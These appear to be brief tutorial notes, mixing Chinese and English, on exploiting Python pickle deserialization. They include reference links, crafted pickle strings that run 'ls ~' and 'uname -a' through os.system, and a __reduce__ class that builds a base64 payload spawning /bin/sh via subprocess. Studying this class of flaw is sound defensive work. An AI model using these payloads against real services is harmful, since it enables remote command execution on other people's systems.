http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://lincolnloop.com/blog/playing-pickle-security/
>>> import pickletools >>> print pickletools.dis("cos\nsystem\n(S'ls ~'\ntR.") 0: c GLOBAL 'os system' 11: ( MARK 12: S STRING 'ls ~' 20: t TUPLE (MARK at 11) 21: R REDUCE 22: . STOP highest protocol among opcodes = 0 None
>>> import cPickle >>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.") Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux 0
构造简单的执行语句,当然也可以通过类的__reduce__方法,也就是说在执行pickle反序列化的时候会用到__reduce__方法
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
>>> class RunBinSh1(object): ... def __reduce__(self): ... return (subprocess.Popen, (('uname',),)) ... >>> print (cPickle.dumps(RunBinSh1())) csubprocess Popen p1 ((S'uname' tp2 tp3 Rp4 .
>>> print cPickle.loads((cPickle.dumps(RunBinSh1()))) <subprocess.Popen object at 0xb70cebac> >>> Linux
这样就能简单构造loads语句了